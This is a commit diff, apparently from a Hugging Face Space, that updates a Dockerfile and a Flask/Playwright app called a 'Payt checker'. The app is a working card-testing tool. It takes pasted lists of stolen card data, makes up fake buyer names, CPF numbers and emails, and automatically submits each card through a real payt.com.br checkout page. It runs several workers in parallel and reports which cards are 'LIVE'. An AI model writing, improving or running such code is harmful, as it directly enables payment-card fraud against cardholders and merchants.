Cauanne commited on
Commit
6abb84f
·
verified ·
1 Parent(s): f89a731

Upload 4 files

Browse files
Files changed (2) hide show
  1. Dockerfile +4 -5
  2. app.py +77 -92
Dockerfile CHANGED
@@ -35,7 +35,7 @@ RUN apt-get update && apt-get install -y \
35
  ENV PLAYWRIGHT_BROWSERS_PATH=/usr/local/share/playwright
36
  WORKDIR /app
37
 
38
- # 3. Instalar dependências Python GLOBALMENTE para evitar problemas de PATH
39
  COPY requirements.txt .
40
  RUN pip install --no-cache-dir --upgrade pip && \
41
  pip install --no-cache-dir -r requirements.txt
@@ -43,7 +43,7 @@ RUN pip install --no-cache-dir --upgrade pip && \
43
  # 4. Instalar navegadores globalmente
44
  RUN playwright install chromium
45
 
46
- # 5. Configurar usuário não-root para execução (Segurança HF)
47
  RUN useradd -m -u 1000 user && \
48
  chown -R user:user /app && \
49
  chmod -R 777 /usr/local/share/playwright
@@ -54,6 +54,5 @@ COPY --chown=user . .
54
  USER user
55
  EXPOSE 7860
56
 
57
- # Usar gunicorn com worker eventlet para garantir estabilidade no Hugging Face
58
- # Aumentado o timeout para 300s (5 minutos) para evitar quedas durante o uso do Playwright
59
- CMD ["gunicorn", "--worker-class", "eventlet", "-w", "1", "--timeout", "300", "--bind", "0.0.0.0:7860", "app:app"]
 
35
  ENV PLAYWRIGHT_BROWSERS_PATH=/usr/local/share/playwright
36
  WORKDIR /app
37
 
38
+ # 3. Instalar dependências Python GLOBALMENTE
39
  COPY requirements.txt .
40
  RUN pip install --no-cache-dir --upgrade pip && \
41
  pip install --no-cache-dir -r requirements.txt
 
43
  # 4. Instalar navegadores globalmente
44
  RUN playwright install chromium
45
 
46
+ # 5. Configurar usuário não-root para execução
47
  RUN useradd -m -u 1000 user && \
48
  chown -R user:user /app && \
49
  chmod -R 777 /usr/local/share/playwright
 
54
  USER user
55
  EXPOSE 7860
56
 
57
+ # Rodar diretamente com python3 para suportar o loop assíncrono interno
58
+ CMD ["python3", "app.py"]
 
app.py CHANGED
@@ -1,16 +1,16 @@
1
- from flask import Flask, render_template, request
2
- from flask_socketio import SocketIO, emit
3
- from playwright.sync_api import sync_playwright
4
  import random
5
  import time
6
  import re
7
  import requests
8
- import threading
 
 
9
 
10
  app = Flask(__name__, template_folder='templates', static_folder='static')
11
- app.config['SECRET_KEY'] = 'payt-checker-v2-secret'
12
- # Configuração otimizada para WebSockets e concorrência
13
- socketio = SocketIO(app, cors_allowed_origins="*", async_mode='eventlet')
14
 
15
  class PaytChecker:
16
  def __init__(self, sid):
@@ -18,21 +18,10 @@ class PaytChecker:
18
  self.base_url = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
19
  self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
20
 
21
- def emit_log(self, type, badge, card, msg, slot=None, tempo=None):
22
- socketio.emit('log', {
23
- 'type': type,
24
- 'badge': badge,
25
- 'card': card,
26
- 'msg': msg,
27
- 'slot': slot,
28
- 'tempo': tempo
29
- }, room=self.sid)
30
-
31
- def update_stats(self, stats):
32
- socketio.emit('update_stats', stats, room=self.sid)
33
 
34
  def gerar_dados(self):
35
- # Tenta 4devs primeiro
36
  try:
37
  url = 'https://www.4devs.com.br/ferramentas_online.php'
38
  payload = {'acao': 'gerar_pessoa', 'sexo': 'I', 'pontuacao': 'S', 'idade': '0', 'txt_qtde': '1'}
@@ -53,23 +42,19 @@ class PaytChecker:
53
  primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
54
  sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
55
  nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
56
- cpf = "".join([str(random.randint(0, 9)) for _ in range(11)]) # Simplificado para teste
57
  email = f"{nome.split()[0].lower()}{random.randint(100, 999)}{random.choice(self.provedores_email)}"
58
  return {
59
- 'nome': nome,
60
- 'nome_cartao': nome.upper(),
61
- 'cpf': cpf,
62
- 'email': email,
63
  'telefone': f"119{random.randint(10000000, 99999999)}"
64
  }
65
 
66
- def testar_cartao(self, cartao, slot, stats_container, total_cards):
67
  partes = cartao.split('|')
68
  if len(partes) != 4:
69
- with stats_container['lock']:
70
- stats_container['errors'] += 1
71
- stats_container['checked'] += 1
72
- self.update_stats(stats_container)
73
  return
74
 
75
  numero, mes, ano, cvv = partes
@@ -77,44 +62,41 @@ class PaytChecker:
77
  dados = self.gerar_dados()
78
  inicio = time.time()
79
 
80
- try:
81
- with sync_playwright() as p:
82
- browser = p.chromium.launch(headless=True, args=['--no-sandbox'])
83
- context = browser.new_page()
84
 
85
- socketio.emit('thread_status', {'id': slot, 'status': 'active', 'card': cartao}, room=self.sid)
86
 
87
- context.goto(self.base_url, wait_until='domcontentloaded')
88
- time.sleep(1)
89
 
90
- context.fill('#full_name', str(dados['nome']))
91
- context.fill('#email', str(dados['email']))
92
- context.fill('#phone', str(dados['telefone']))
93
- context.fill('#cpf_cnpj', str(dados['cpf']))
94
- context.evaluate("window.scrollBy(0, 400)")
95
- time.sleep(0.5)
96
- context.fill('#cardNumber', str(numero))
97
- context.fill('#cardName', str(dados['nome_cartao']))
98
- context.fill('#cardDueDate', f"{mes}{ano}")
99
- context.fill('#cardCvv', str(cvv))
100
 
101
- # Clique no botão
102
  btn_clicado = False
103
  for sel in ['button:has-text("Confirmar Pagamento")', 'button[type="submit"]', '.btn-primary']:
104
- if context.locator(sel).count() > 0:
105
- context.locator(sel).first.click(force=True)
106
  btn_clicado = True
107
  break
108
 
109
- if not btn_clicado:
110
- raise Exception("Botão não encontrado")
111
 
112
- # Captura Retorno
113
  status, msg = "DIE", "Timeout"
114
  for _ in range(60):
115
- time.sleep(1)
116
- body = context.locator('body').text_content().lower()
117
- if "obrigado" in context.url or "sucesso" in body:
118
  status, msg = "LIVE", "Aprovado!"
119
  break
120
 
@@ -131,56 +113,59 @@ class PaytChecker:
131
 
132
  tempo = round(time.time() - inicio, 1)
133
 
134
- with stats_container['lock']:
135
- if status == "LIVE":
136
- stats_container['lives'] += 1
137
- socketio.emit('live_card', {'card': cartao, 'msg': msg, 'tempo': tempo}, room=self.sid)
138
- else:
139
- stats_container['dies'] += 1
140
-
141
- stats_container['checked'] += 1
142
- self.emit_log(status.lower(), status, cartao, msg, slot, tempo)
143
- self.update_stats(stats_container)
144
- socketio.emit('thread_status', {'id': slot, 'status': f'done-{status.lower()}', 'card': cartao}, room=self.sid)
145
 
146
- browser.close()
147
- except Exception as e:
148
- with stats_container['lock']:
149
  stats_container['errors'] += 1
150
  stats_container['checked'] += 1
151
- self.emit_log('erro', 'ERROR', cartao, str(e), slot)
152
- self.update_stats(stats_container)
153
- socketio.emit('thread_status', {'id': slot, 'status': 'done-err', 'card': cartao}, room=self.sid)
 
154
 
155
  @app.route('/')
156
  def index():
157
  return render_template('index.html')
158
 
159
- @socketio.on('start_process')
160
- def handle_start(data):
161
- cards = [c.strip() for c in data['cards'].split('\n') if '|' in c]
162
- threads_count = min(int(data['threads']), 10)
163
- sid = request.sid
164
-
165
- stats = {
166
- 'lives': 0, 'dies': 0, 'errors': 0, 'checked': 0,
167
- 'total': len(cards), 'lock': threading.Lock()
168
- }
169
 
 
170
  checker = PaytChecker(sid)
171
- socketio.emit('set_ui', {'on': True}, room=sid)
172
 
173
- def worker(card_list, slot_id):
174
  for card in card_list:
175
- checker.testar_cartao(card, slot_id, stats, len(cards))
176
- time.sleep(1)
177
  socketio.emit('thread_status', {'id': slot_id, 'status': 'idle', 'card': ''}, room=sid)
178
 
179
- # Distribuição de cards por thread
180
  chunks = [cards[i::threads_count] for i in range(threads_count)]
181
- for i, chunk in enumerate(chunks):
182
- if chunk:
183
- threading.Thread(target=worker, args=(chunk, i)).start()
 
 
 
 
 
 
 
 
 
 
 
 
184
 
185
  if __name__ == '__main__':
186
- socketio.run(app, host='0.0.0.0', port=7860)
 
1
+ import asyncio
 
 
2
  import random
3
  import time
4
  import re
5
  import requests
6
+ from flask import Flask, render_template, request
7
+ from flask_socketio import SocketIO
8
+ from playwright.async_api import async_playwright
9
 
10
  app = Flask(__name__, template_folder='templates', static_folder='static')
11
+ app.config['SECRET_KEY'] = 'payt-checker-v2-async'
12
+ # No modo assíncrono, o SocketIO precisa de uma configuração específica
13
+ socketio = SocketIO(app, cors_allowed_origins="*", async_mode='threading')
14
 
15
  class PaytChecker:
16
  def __init__(self, sid):
 
18
  self.base_url = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
19
  self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
20
 
21
+ async def emit_to_client(self, event, data):
22
+ socketio.emit(event, data, room=self.sid)
 
 
 
 
 
 
 
 
 
 
23
 
24
  def gerar_dados(self):
 
25
  try:
26
  url = 'https://www.4devs.com.br/ferramentas_online.php'
27
  payload = {'acao': 'gerar_pessoa', 'sexo': 'I', 'pontuacao': 'S', 'idade': '0', 'txt_qtde': '1'}
 
42
  primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
43
  sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
44
  nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
45
+ cpf = "".join([str(random.randint(0, 9)) for _ in range(11)])
46
  email = f"{nome.split()[0].lower()}{random.randint(100, 999)}{random.choice(self.provedores_email)}"
47
  return {
48
+ 'nome': nome, 'nome_cartao': nome.upper(), 'cpf': cpf, 'email': email,
 
 
 
49
  'telefone': f"119{random.randint(10000000, 99999999)}"
50
  }
51
 
52
+ async def testar_cartao(self, cartao, slot, stats_container):
53
  partes = cartao.split('|')
54
  if len(partes) != 4:
55
+ stats_container['errors'] += 1
56
+ stats_container['checked'] += 1
57
+ await self.emit_to_client('update_stats', stats_container)
 
58
  return
59
 
60
  numero, mes, ano, cvv = partes
 
62
  dados = self.gerar_dados()
63
  inicio = time.time()
64
 
65
+ async with async_playwright() as p:
66
+ try:
67
+ browser = await p.chromium.launch(headless=True, args=['--no-sandbox'])
68
+ page = await browser.new_page()
69
 
70
+ await self.emit_to_client('thread_status', {'id': slot, 'status': 'active', 'card': cartao})
71
 
72
+ await page.goto(self.base_url, wait_until='domcontentloaded')
73
+ await asyncio.sleep(1)
74
 
75
+ await page.fill('#full_name', str(dados['nome']))
76
+ await page.fill('#email', str(dados['email']))
77
+ await page.fill('#phone', str(dados['telefone']))
78
+ await page.fill('#cpf_cnpj', str(dados['cpf']))
79
+ await page.evaluate("window.scrollBy(0, 400)")
80
+ await asyncio.sleep(0.5)
81
+ await page.fill('#cardNumber', str(numero))
82
+ await page.fill('#cardName', str(dados['nome_cartao']))
83
+ await page.fill('#cardDueDate', f"{mes}{ano}")
84
+ await page.fill('#cardCvv', str(cvv))
85
 
 
86
  btn_clicado = False
87
  for sel in ['button:has-text("Confirmar Pagamento")', 'button[type="submit"]', '.btn-primary']:
88
+ if await page.locator(sel).count() > 0:
89
+ await page.locator(sel).first.click(force=True)
90
  btn_clicado = True
91
  break
92
 
93
+ if not btn_clicado: raise Exception("Botão não encontrado")
 
94
 
 
95
  status, msg = "DIE", "Timeout"
96
  for _ in range(60):
97
+ await asyncio.sleep(1)
98
+ body = (await page.locator('body').text_content()).lower()
99
+ if "obrigado" in page.url or "sucesso" in body:
100
  status, msg = "LIVE", "Aprovado!"
101
  break
102
 
 
113
 
114
  tempo = round(time.time() - inicio, 1)
115
 
116
+ if status == "LIVE":
117
+ stats_container['lives'] += 1
118
+ await self.emit_to_client('live_card', {'card': cartao, 'msg': msg, 'tempo': tempo})
119
+ else:
120
+ stats_container['dies'] += 1
121
+
122
+ stats_container['checked'] += 1
123
+ await self.emit_to_client('log', {'type': status.lower(), 'badge': status, 'card': cartao, 'msg': msg, 'slot': slot, 'tempo': tempo})
124
+ await self.emit_to_client('update_stats', stats_container)
125
+ await self.emit_to_client('thread_status', {'id': slot, 'status': f'done-{status.lower()}', 'card': cartao})
 
126
 
127
+ await browser.close()
128
+ except Exception as e:
 
129
  stats_container['errors'] += 1
130
  stats_container['checked'] += 1
131
+ await self.emit_to_client('log', {'type': 'erro', 'badge': 'ERROR', 'card': cartao, 'msg': str(e), 'slot': slot})
132
+ await self.emit_to_client('update_stats', stats_container)
133
+ await self.emit_to_client('thread_status', {'id': slot, 'status': 'done-err', 'card': cartao})
134
+ if 'browser' in locals(): await browser.close()
135
 
136
  @app.route('/')
137
  def index():
138
  return render_template('index.html')
139
 
140
+ def run_async_checker(cards, threads_count, sid):
141
+ loop = asyncio.new_event_loop()
142
+ asyncio.set_event_loop(loop)
 
 
 
 
 
 
 
143
 
144
+ stats = {'lives': 0, 'dies': 0, 'errors': 0, 'checked': 0, 'total': len(cards)}
145
  checker = PaytChecker(sid)
 
146
 
147
+ async def worker(card_list, slot_id):
148
  for card in card_list:
149
+ await checker.testar_cartao(card, slot_id, stats)
150
+ await asyncio.sleep(0.5)
151
  socketio.emit('thread_status', {'id': slot_id, 'status': 'idle', 'card': ''}, room=sid)
152
 
 
153
  chunks = [cards[i::threads_count] for i in range(threads_count)]
154
+ tasks = [worker(chunk, i) for i, chunk in enumerate(chunks) if chunk]
155
+
156
+ loop.run_until_complete(asyncio.gather(*tasks))
157
+ socketio.emit('process_complete', stats, room=sid)
158
+ loop.close()
159
+
160
+ @socketio.on('start_process')
161
+ def handle_start(data):
162
+ cards = [c.strip() for c in data['cards'].split('\n') if '|' in c]
163
+ threads_count = min(int(data['threads']), 10)
164
+ sid = request.sid
165
+ socketio.emit('set_ui', {'on': True}, room=sid)
166
+ # Roda o loop assíncrono em uma thread separada para não travar o Flask
167
+ import threading
168
+ threading.Thread(target=run_async_checker, args=(cards, threads_count, sid)).start()
169
 
170
  if __name__ == '__main__':
171
+ socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True)